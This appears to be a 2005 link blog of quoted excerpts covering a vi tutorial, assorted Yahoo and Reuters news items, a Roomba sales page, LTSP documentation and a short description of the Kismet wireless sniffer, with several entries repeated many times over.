Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Vi for programmers: Builder AU: Program: UNIX
Vi for programmers: Builder AU: Program: UNIX: "If you're a developer working on a UNIX/Linux platform, you've already encountered vi. Vi users fall into one of two categories: those who hate it and continually curse its finger-twisting key combinations and hard-to-remember commands, and those who love the flexibility and power it offers.
For a long time, I was in the former category. However, continuous usage has led to a gradual appreciation for the speed and power under the cryptic interface, and I've since learnt a bunch of shortcuts and key combinations that ease the task of writing code in the editor. This article discusses my personal top ten features.
Before proceeding, ensure that you have a copy of ViM (that's Vi iMproved) installed and working on your system. You can download both binaries and sources from vim.org."
Yahoo! News - Indonesia Reportedly Mulls Kissing Ban
Yahoo! News - Indonesia Reportedly Mulls Kissing Ban: "JAKARTA, Indonesia - Call it a kissing crackdown. Indonesia's government is considering a law banning unwed couples from pecking in public � and harshly penalizing those who do, The Jakarta Post reported Saturday.
The campaign against kissing is part of a proposal of sweeping reforms to laws adopted by the country's Dutch colonial rulers in the late 19th century.
The head of the panel that drafted the law said Muslim beliefs about decency had influenced its decision. Neighboring countries with large Muslim populations, such as Malaysia and Brunei, already enforce laws defining 'khalwat,' or 'close proximity,' a crime akin to adultery for unchaperoned meetings between Muslim men and women.
Indonesia's revised laws would set environmental protection standards and punish human rights violations and terrorism, the newspaper said.
But they would also impose penalties on unwed couples who kiss in public, while permitting police raids on the homes of those suspected of living together out of wedlock.
Pornography and public displays of 'certain sensual body parts' would be outlawed and media, movies and songs censored.
Penalties for law breakers would range from fines as high as 300 million rupiah (US$32,800; euro25,300) to up to 10 years imprisonment, according to the daily.
President Susilo Bambang Yudhoyono and the legislature are expected to spend two years debating and revising the draft.
Critics say the laws would let authorities restrict personal freedoms and muzzle the media.
In recent years, Hollywood movies and TV programs have faced condemnation from religious leaders and government officials in the world's most populous Muslim nation who say such fare violates religious tenets on "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Yahoo! News - More Japanese think wives need not stay home
Yahoo! News - More Japanese think wives need not stay home: "TOKYO (Reuters) - For the first time, Japanese who believe that wives should stay home are in a minority -- but an overwhelming majority still wants women to do most household chores. "
Saturday, February 05, 2005
Kismet
Kismet: "Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and can sniff 802.11b, 802.11a, and 802.11g traffic.
Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting (and given time, decloaking) hidden networks, and infering the presence of nonbeaconing networks via data traffic. "
Yahoo! News - Couple May Sue Over Discarded Embryo
Yahoo! News - Couple May Sue Over Discarded Embryo: "CHICAGO - A couple whose frozen embryo was accidentally destroyed at a fertility clinic has the right in Illinois to file a wrongful-death lawsuit, a judge has ruled in a case that some legal experts say could have implications in the debate over embryonic stem cell research."
Yahoo! News - Genes May Drive Child Obesity
Yahoo! News - Genes May Drive Child Obesity: "FRIDAY, Feb. 4 (HealthDayNews) -- A mother's love may be unconditional, but her genes can be a burden for some children, research suggests."
Yahoo! News - UNMC to Do Embryonic Stem Cell Research
Yahoo! News - UNMC to Do Embryonic Stem Cell Research: "LINCOLN, Neb. - Human embryonic stem cell research using federally approved stem cell lines could begin as soon as next month at the University of Nebraska Medical Center in Omaha.
The research, which would be the first of its kind at the medical center, involves Dr. Stephen Rennard's work on emphysema and Dr. Ira Fox's work on the liver."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "WASHINGTON (Reuters) - Washington's National Zoo, beset by a series of unusual animal deaths and charges of mismanagement, introduced its first litter of endangered cheetah cubs on Friday with fanfare befitting some rare good news.
'This is the first litter at the National Zoo. It's very difficult to breed cheetahs so there are very few litters,' said Jo Gayle Howard, a reproductive scientist at the nation's flagship zoo. 'This is why this is such a big deal.'
A phalanx of photographers and journalists jostled for the best view as the 10-week-old cubs -- two males and two females -- bounded outside with their mother, Tumai, for their first public appearance.
The fluffy cubs romped around in something they would not likely have experienced in their native Africa: snow.
The cubs were born on Nov. 23 and are now the size of house cats, weighing about 10 pounds. They will reach their adult weight of 100 pounds when they are about a year old and may then go to other zoos in North America to take part in a breeding conservation program.
The birth of the cheetahs, which were conceived naturally, was a godsend for the 115-year-old zoo as it tries to move beyond the high-profile criticism that led to an investigation and the resignation of its director last February.
The National Zoo, part of the Smithsonian Institution, came under intense scrutiny after a string of deaths, which included two red pandas killed by rat poison, a zebra that starved and an elephant that was put down because of tuberculosis."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "SAN FRANCISCO (Reuters) - A measure to ban genetically modified crops in the heart of California's wine country has qualified for a local ballot, officials said on Friday.
The measure, which would impose a 10-year moratorium on raising genetically engineered crops and livestock, is now eligible for the Sonoma County ballot, said Gregory Conko, director of food safety policy at the Competitive Enterprise Institute.
'It's an important symbolic victory for biotech's skeptics,' Conko said. 'It certainly is something that should make supporters of biotechnology, including myself, a little bit nervous.'
Activists gathered 9,000 signatures -- more than needed to qualify the measure -- which county supervisors now may enact or put to voters in a special election as soon as May or June. If the measure is approved, Sonoma would become the fourth California county to ban raising genetically engineered foods."
Yahoo! News - Groups Aim to Slow Beetle Spread in Ohio
Yahoo! News - Groups Aim to Slow Beetle Spread in Ohio: "TOLEDO, Ohio - Pest experts and tree researchers have developed a plan to fight off a tree-killing beetle marching into Ohio and toward the rest of the Midwest.
Whether it works will depend on how early they can detect the pest's whereabouts and how much money they can get from the federal government.
'There are people who are highly skeptical,' said Dan Herms, an entomologist with the Ohio Agricultural Research and Development Center. 'But the cost of doing nothing would be in the billions of dollars.'
The emerald ash borer already has killed 10 million to 15 million trees in the Detroit area and the rest of Michigan. It's also been found in Ohio and Indiana.
Researchers are worried that the beetle no larger than a paperclip could spread into other states and destroy billions of ash trees that line city streets or are harvested to make cabinets and baseball bats.
To slow down and eventually stop its expansion, the battle against the ash borer this year will be centered in Toledo and its suburbs, where new infestations have been discovered in recent months."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "ROCKTAIL BAY, South Africa (Reuters) - The signs of the scuffle were fresh but it is a struggle that has gone on for tens of millions of years.
Just minutes before, dozens of tiny turtles had burst from the sand under the cover of darkness to make a mad dash for the sea by running a deadly gauntlet of ghost crabs.
'There's been action here. You can see the drag marks where a crab dragged a hatchling away,' said Jeff Gaisford, communications manager for KZN Wildlife, the conservation body for South Africa's KwaZulu-Natal province.
Each year between October and February, hundreds of loggerhead turtles and their cousins, the gigantic leatherbacks, come to South Africa's northeast shores to build primitive nests in the sand and deposit their eggs.
One of the oldest reptilian orders, stretching back 200 million years, turtles have been doing this for a very long time -- and their resilience raises questions about the impact of climate and sea level change on biodiversity.
Concerns about global warming are running high with the U.N.'s 128-nation Kyoto protocol, which seeks to curb emissions of carbon dioxide, set to come into force on Feb. 16.
The U.N. projects that overall temperatures will rise by 2.5-10.5 degrees Fahrenheit by 2100, mainly because of a build-up of carbon dioxide from cars, factories and power plants.
Such rapid change in global temperatures is seen by many scientists as a major threat to countless species, in conjunction with habitat destruction and other man-made threats.
Sea levels are also predicted to rise as glaciers and ice-caps melt and because water gets bigger as it warms through a complex process known as thermal expansion."
Yahoo! News - Honest Realtor Offers Gruesome Apartment
Yahoo! News - Honest Realtor Offers Gruesome Apartment: "OSLO, Norway - A Norwegian real estate investor tired of glowing but inaccurate property advertisements opted for blunt honesty in offering an apartment for sale.
'Gruesome two-room apartment with balcony,' said the advertisement posted on the Finn.no Internet portal this week. 'A very worn-out apartment.'
Some Norwegian real estate brokers exaggerate wildly in their advertisements, describing, for example, a total ruin as a 'charming fixer-upper.'
Or they can try to make the location seem more attractive than it is, such as one house 'on a quiet side street.' The side street was quiet, but the four-lane super highway on the other side was less so.
Arne Leo Soerlie, a professional real estate investor, said he had wasted so much time because of such advertisements that he wanted to be truthful to spare others the same irritation.
'I've learned to read between the lines, but still end up wasting a lot of time,' he told the AP on Thursday. 'I wanted people to know what to expect. I'd rather that they found it better than expected.'
He said he has rented out the Oslo apartment for five or six years, and that it now needs total refurbishment.
This appears to be a case of honesty being the best policy. Soerlie said he already has an offer on the apartment."
Yahoo! News - Woman, 73, Jailed for Feeding Pigeons
Yahoo! News - Woman, 73, Jailed for Feeding Pigeons: "MARTINS FERRY, Ohio - A 73-year-old woman spent a week in jail for ignoring a judge's orders to stop feeding flocks of pigeons in her back yard.
Anna Stahanczyk promised a judge in 2001 she would quit putting out seed for the birds, but neighbors complained last year that she was doing it again, said Belmont County Prosecutor Chris Berhalter. The neighbors videotaped Stahanczyk buying and spreading seed, Berhalter said.
'We're talking about hundreds and hundreds of pigeons,' he said.
Belmont County Northern Division Judge Frank Fregiato warned Stahanczyk last year to stop, but the neighbors in the southeastern Ohio town of Bridgeport again caught her on tape, Berhalter said. Last month, Fregiato found her guilty of violating a public health statute, gave her a 60-day suspended sentence and ordered a mental evaluation.
'The court was concerned that she didn't understand what was going on,' Berhalter said.
Stahanczyk was booked into the Belmont County Jail on Jan. 26 and was held separately from other inmates until her lawyer convinced Fregiato that Stahanczyk was of sound mind. She was released on Wednesday.
'It's not why we build jails, it's not why I prosecute crime, but I think the court was left with no other options here,' Berhalter said.
No phone listing for Stahanczyk could be found."
Yahoo! News - Girl Misses End of Recess, Gets Locked Out
Yahoo! News - Girl Misses End of Recess, Gets Locked Out: "BENNINGTON, Vt. - A 6-year-old first grader was locked out of the school after recess and spent an hour walking the streets before she was spotted by a relative.
The girl's teacher and other school officials never realized the girl was missing Thursday afternoon.
The girl's mother, Larrian Merrow, said her daughter did not realize that recess was over at 1 p.m. and found herself alone outside. Unable to open a door or find a teacher, she decided to walk to her grandmother's house on Union Street, said Merrow.
'She walked quite a few blocks,' said Merrow. 'She crossed Main Street twice and other streets.'
The girl's grandmother was not at home, however, and the girl, wearing her coat but missing her hat and mittens, decided to walk in about 40-degree temperatures back to school to wait for her siblings, who also attend Catamount Elementary School. That's when she was found by a relative.
'If my cousin didn't pick her up, where would she be?' said Merrow. 'She was so scared. She just kept saying that she was locked out of school.'
Upon learning of her daughter being found, Merrow said she left her work and called the school, but employees said they didn't know of any missing children. Principal Donna MacKenzie King called her back in about 15 minutes, reaching Merrow as she was on her way to school.
MacKenzie King confirmed Merrow's account, but said officials had not yet determined if the girl had been locked out or was unable to pull open one of the school's large glass doors.
The school limits the number of unlocked doors during the day to prevent intruders, and it is not known which door the girl tried to open.
A substitute teacher had been handling the girl's class for two days, a class that has about 16 students, said MacKenzie King.
She said substitutes can have difficulty keeping track of students.
MacKenzie King said the school's child safety team, which meets every other day, will try to come up with ways to prevent similar incidents from happening.
'Thank God the child's fine. We were all just devastated,' MacKenzie King said.
The girl is also concerned about a repeat of the incident. 'I asked her if she wanted to go back to school and she said, 'Are they gonna lock me out again?'' said Merrow. 'She shouldn't be afraid to go to school.'"
Yahoo! News - Supremacists Split After Race Allegation
Yahoo! News - Supremacists Split After Race Allegation: "SOUTH ST. PAUL, Minn. - A high-profile white supremacist record company appears to have gone out of business after one co-owner accused the other of having a Hispanic mother.
Panzerfaust was behind Project Schoolyard USA, which last year distributed thousands of free compact discs to teenagers across the country, particularly in Minnesota.
The company is now appears dormant, with its Web address directing views to another white power site called 'Free Your Mind.' No working telephone number for the Panzerfaust could be found Friday.
The Southern Poverty Law Center, which tracks hate groups, reports that co-owners Byron Calvert, 33, and Anthony A. Pierpont, 38, had a falling out after Calvert saw a copy of Pierpont's birth certificate.
The document, which is posted on the center's Web site, indicates that Pierpont's mother was named Maria Marcola del Prado and she was born in Mexico. Also, Calvert claimed in an online posting that Pierpont had sex with Thai prostitutes.
As a result, and Pierpont's refusal to take a DNA test, Calvert wrote last month that he would quit the company and so would its webmaster. The center reports that influential hate groups Hammerskin Nation and Volksfront also denounced Pierpont.
The Free Your Mind site said that any business done with Pierpont should be considered 'an act of treason.'"
Yahoo! News - S.C. Teen Arrested for Spitting in Coffee
Yahoo! News - S.C. Teen Arrested for Spitting in Coffee: "ROCK HILL, S.C. - A doughnut shop employee has been arrested after police say he spit into an officer's coffee.
Detectives think Chad Patrick Stalnaker, 19, of Fort Mill spit into the coffee before it was handed to Sgt. Keith Dugan in the drive-thru window at a Dunkin Donuts store earlier this month.
Dugan, a veteran Rock Hill police officer, was on duty and driving a marked patrol car at the time.
Dugan got the coffee on his way to the doctor's office for a checkup, so he took it with him and removed the lid to take his first sip as he sat in the waiting room. He noticed a substance floating in the cup.
It turned out to be a mixture of mucus and saliva, police say.
The cup has been sent to the State Law Enforcement Division for testing, said Lt. Jerry Waldrop.
On Monday, police arrested Stalnaker and charged him with misdemeanor assault and battery in connection with the incident.
A Dunkin Donuts manager said Stalnaker is no longer employed at the shop."
Yahoo! News - Man Accused of Sending Marijuana Via UPS
Yahoo! News - Man Accused of Sending Marijuana Via UPS: "ALBUQUERQUE, N.M. - Federal drug agents have accused a 25-year-old man of using UPS to send a happy birthday box containing seven pounds of marijuana.
Drug Enforcement Administration officers arrested McKindle Rondae Beler on Wednesday when he arrived at an Albuquerque UPS Store from which the package was sent. Authorities said they believe he was seeking a refund for the $87 paid to get the package to Illinois overnight, DEA spokeswoman Lou Kilgas said.
It wasn't delivered because DEA officers intercepted it after UPS employees alerted them to a man behaving oddly, she said.
Beler was charged with possession of marijuana with intent to distribute and conspiracy.
He is suspected of mailing at least four packages from the store over a 10-day period, Kilgas said.
Authorities suspect the names on the packages were not the real names of the recipients, she said."
Yahoo! News - Washington Couple Names Son 'Jake 2.0'
Yahoo! News - Washington Couple Names Son 'Jake 2.0': "OLALLA, Wash. - 'Jake 2.0' didn't cut it with viewers, and a couple who named their son Jake Matthew Thompson 2.0 are finding the numerical part doesn't cut it with businesses and government agencies.
Although decimal designations are commonly used for successive versions of computer software, many computers can't seem to handle it for human names, parents Kyle Thompson and Dawn Carpenter have been told.
Their son was born on Feb. 4, 2004, a couple of months after the UPN science fiction show was canceled after less than four months on the air, but they still liked the name.
'He's like an upgrade of us, the better version,' Thompson said.
The state birth certificate, however, reads 'Jake Matthew Thompson Two Point Zero,' the child's Social Security (news - web sites) card reads simply 'Jake Matthew Thompson' and Gerber Baby Foods was unable to fill an order for a 'Jake 2.0' spoon, sending one that said merely 'Jake' with the birth date.
Officials at the Social Security Administration (news - web sites) and state Health Department said their equipment can handle only letters with hyphens and apostrophes.
Carpenter, a housekeeper at a convalescent home and an aspiring actress, said some co-workers have told her that when her son reaches school age, classmates will make fun of his name, 'but I don't worry about it. They made fun of me because my nose is small. They make fun of you no matter what you do.'"
Yahoo! News - Man Hides From Cops, Then Calls for Help
Yahoo! News - Man Hides From Cops, Then Calls for Help
Yahoo! News - Student Suspended for 'Booty' TV Remark
Yahoo! News - Student Suspended for 'Booty' TV Remark: "ESTERO, Fla. - A high school TV journalist made a bad booty call on the air. Brad Devlin, a 17-year-old junior, was recapping the girls' soccer team's 8-0 win in his daily sports report for Estero High's closed circuit TV newscast.
The script, approved by the TV production teacher, said the team really kicked some booty. But Devlin, an aspiring broadcaster, then violated the school's no ad-libbing policy by saying: 'I love booty.'
The term 'booty' technically means a pirate's treasure, but in slang also refers to a girl's backside or sex.
Devlin was called to the office and suspended for five days for what was 'inappropriate comments on live school television broadcast,' Assistant Principal Howard Wendland said.
'I was talking about the soccer game. I didn't think it was that big of a deal,' Devlin said."
Yahoo! News - Pa. Man Sues Trooper Over 'Finger' Ticket
Yahoo! News - Pa. Man Sues Trooper Over 'Finger' Ticket
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "PHILADELPHIA (Reuters) - Bared breasts, binge-eating and boozing, but no vomiting please -- it's Super Bowl weekend in Philadelphia and the party starts with an eating contest that draws more than 20,000 rowdy sports fans.
A truck driver from New Jersey who goes by the name 'El Wingador' wolfed 162 chicken wings to reclaim the Wing Bowl, an annual pre-Super Bowl event with added flavour this year.
The Wing Bowl was conceived by Philadelphia sports radio station WIP as a consolation for fans of the local football team, the Eagles, after their team failed repeatedly to make it to the U.S. football championship.
But for the first time since 1981, the Eagles are in this year's Super Bowl, turning just another eating contest into a massive pep rally for the team before Sunday's big game in Jacksonville, Florida.
Stands were filled with the Eagles' green, white and black jerseys and logos adorned every available surface, including the naked breasts and buttocks of women who entertained the crowd during a three-hour wait for the eating to start.
A raucous capacity crowd of some 23,000 packed an indoor arena to watch 29 finalists try to eat the maximum number of wings in two 14-minute rounds and a final two-minute frenzy of wing-gorging. Scantily clad women dubbed 'Wingettes' handed out plates of wings and wiped sauce from contestants' faces.
Thousands of fans who spent much of the night waiting to get in were denied entry after the organizers declared a full house for an event that is in its 13th year. Some of those that made it picked their way through a carpet of beer cans.
Student Colin Brightfield, 19, came to support his rugby teammate Douglas Detock, known to the competition as 'Obi Wing,' who qualified by eating more than 60 live cockroaches, and not throwing up.
Winner Bill Simmons, who weighed 312 pounds before the contest, edged out defending champion Sonya 'The Black Widow' Thomas, weighing just 99 pounds. The two were even at the end of regular competition among the 29 finalists and faced each other in a final two-minute 'wing-off' which Simmons won by a single wing.
'This is amazing,' said Mark Lacontora, 35, who left his home in northeast Philadelphia at 1 a.m. to come to the Wing Bowl. 'It's so much bigger and better this year because the Eagles are in the Super Bowl.'
Simmons, 43, who won a $17,000 (9,070 pound) Suzuki car, said he trained by eating Tootsie Rolls, and never vomits -- something that automatically disqualifies competitive eaters. 'I never throw up,' he said. 'I gag a little, but it never comes up.'
Despite his success, he won't be defending his title next year. 'Hell no,' he said. 'This is it.' "
Google loses trademark case in France | CNET News.com
Google loses trademark case in France | CNET News.com: "A French court on Friday ruled against Google in a trademark infringement case brought by Louis Vuitton Malletier, in the latest legal setback to the search giant overseas.
The Paris District Court has sanctioned Google and its French subsidiary from selling search-related advertisements against trademarks owned by the luxury fashion designer, which sued the search giant in early 2004. The court charged Google with trademark counterfeiting, unfair competition and misleading advertising. Google was ordered to pay $257,430 (200,000 euros).
The ruling comes on the heels of another French court order against Google, in a case brought by European chain Le Meridien Hotels and Resorts. In that lawsuit, the court said Google infringed on Le Meridien's trademarks by allowing the hotel chain's rivals to bid on keywords of its name and then appear prominently in those related search results.
Both lawsuits have hinged on Google's signature keyword-advertising system, Adwords, which pairs text ads with related search results. For example, a Nike ad appears after a search for running shoes. Through the system, Google allows marketers to bid for such search-related keywords, including common branded and trademarked terms.
The negative rulings could hamper the company's advertising practices--at least in Western Europe, where the courts have been favorable to trademark owners. Google derives the lion's share of its revenue from online advertising."
iRobot - Robots for the Real World : Why Roomba
iRobot - Robots for the Real World : Why Roomba: "Best value for the price-no question.
Believe it or not, Roomba is not the only robotic vacuum on the market. But Roomba is easily the best value. Some other robots sell for as much as $1,800, and there are no other robotic vacuums that combine the ease of use, cleaning power, and intelligence of Roomba.
Roomba is made by roboticists.
For iRobot, a successful robot is one that can do what it was specifically built to do-and do it right every time. iRobot has designed dozens of such robots for use in industry and to save lives in dangerous conditions. When we designed Roomba, we first focused our time on designing the best cleaning system possible. We then integrated this cleaning system into an intelligent robot, creating Roomba!
Tested for Quality
At iRobot, 100% of the robots we make are tested for quality. The only way we can deliver a high quality product to consumers is to test, test and keep on testing. Of course we test from a robotic quality perspective as well as a cleaning perspective. And then we figure out new challenges and test again.
Highest Coverage-Per-Room rating
When determining the effectiveness of a vacuum, one of the most important measures is its CPR rating. CPR stands for Coverage-Per-Room. Most standard upright and canister vacuums are too big to effectively clean the entire floor. Roombas low profile and robotic design allow it to clean under beds, along kitchen kickboards and wherever dirt tries to hide. Roomba covers 99% of your floor in a single cleaning cycle. Standard upright and canister vacuums clean about 80% of your floor, significantly less than Roomba! If you want a cleaner home, Roomba will help you get there.
The new Roombas do some amazing things
The new Roombas make your cleaning chore even easier. Roomba Red, Sage, Discovery and Discovery SE:
* automatically dock at their Home Base to recharge
* detect the dirt
* know when they're stuck and launch pre-programmed escape routines
* automatically avoid stairs
* charge in less than 3 hours
* feature a patented 3-stage cleaning system"
Yahoo! News - Online Travel Sites Keep Customers Waiting
Yahoo! News - Online Travel Sites Keep Customers Waiting: "More than half of online travel websites are slow to respond to customer inquiries, and nearly 3 in 10 share customer's personal data with other companies without permission, a research firm said Friday."
Yahoo! News - Google Gets Domain Name Registration OK
Yahoo! News - Google Gets Domain Name Registration OK: "NEW YORK - Add domain name registration to the portfolio of Google specialties. Google Inc. is now an official seller of Internet addresses following approval from the Net's key oversight agency, the Internet Corporation for Assigned Names and Numbers."
Yahoo! News - Parkinson's Disease at a Glance
Yahoo! News - Parkinson's Disease at a Glance: "Parkinson's disease (news - web sites), which robs people of control over their movements, usually starts in middle or late life and develops slowly. It is both chronic, meaning it persists over a long period of time, and progressive, meaning its symptoms grow worse over time."
Yahoo! News - UN Treaty Writers Weigh Abortion Ban for Disabled
Yahoo! News - UN Treaty Writers Weigh Abortion Ban for Disabled: "UNITED NATIONS (Reuters) - U.N. diplomats drafting an international treaty on the rights of the disabled debated a possible ban on the abortion of fetuses with disabilities in an emotional negotiating session that ended on Friday."
Yahoo! News - Californian Trolled Sex Offender List for Dates
Yahoo! News - Californian Trolled Sex Offender List for Dates: "SAN FRANCISCO (Reuters) - A convicted child molester used a public database of California sex criminals to solicit men for sex, in what police said on Friday was the first case of its kind.
They said Glen Westberg, 35, wrote letters seeking dates to several other offenders listed on an official state Internet site. The data, assembled under the U.S. 'Megan's Law' to protect children from sexual predators, is intended to warn citizens of potential nearby threats.
The Internet site came online in California in December. Gov. Arnold Schwarzenegger (news - web sites) signed a law in September allowing its creation.
'He viewed the probationer's photograph, thought he was cute, noticed that his commitment offense was the same as his and at that time asked if they would like to hook up,' said Bill Ahern, commander of San Mateo County's Sexual Assault Felony Enforcement task force.
One of the contacted men told police. Law enforcement officials sent an agent who resembled the targeted man to meet Westberg at a coffee shop in Redwood City, south of San Francisco.
Police confronted Westberg, who had shown up 30 minutes early for the rendezvous. He confessed that he had contacted several men in violation of his probation conditions, Ahern said.
Police arrested Westberg, a shipping clerk at a San Jose mall, on Thursday; he faces up to six months in prison if convicted."
LTSP - Linux Terminal Server Project - v4.1
LTSP - Linux Terminal Server Project - v4.1: "LTSP - Linux Terminal Server Project - v4.1
James McQuillan
jam@LTSP.org
Copyright � 2004 by James A. McQuillan
Revision History
Revision 1.0.0 2004-06-20 Revised by: jam
GNU/Linux makes a great platform for deploying diskless thin clients. The primary purpose of this document is to show you how to deploy thin clients using LTSP. But, this document also covers many issues with diskless workstations in general."
Part I: Corporate Desktop Linux - The Hard Truth :: Open Source, Linux News & Software - OSDir.com :: Linux & Open Source News from Across the Communi
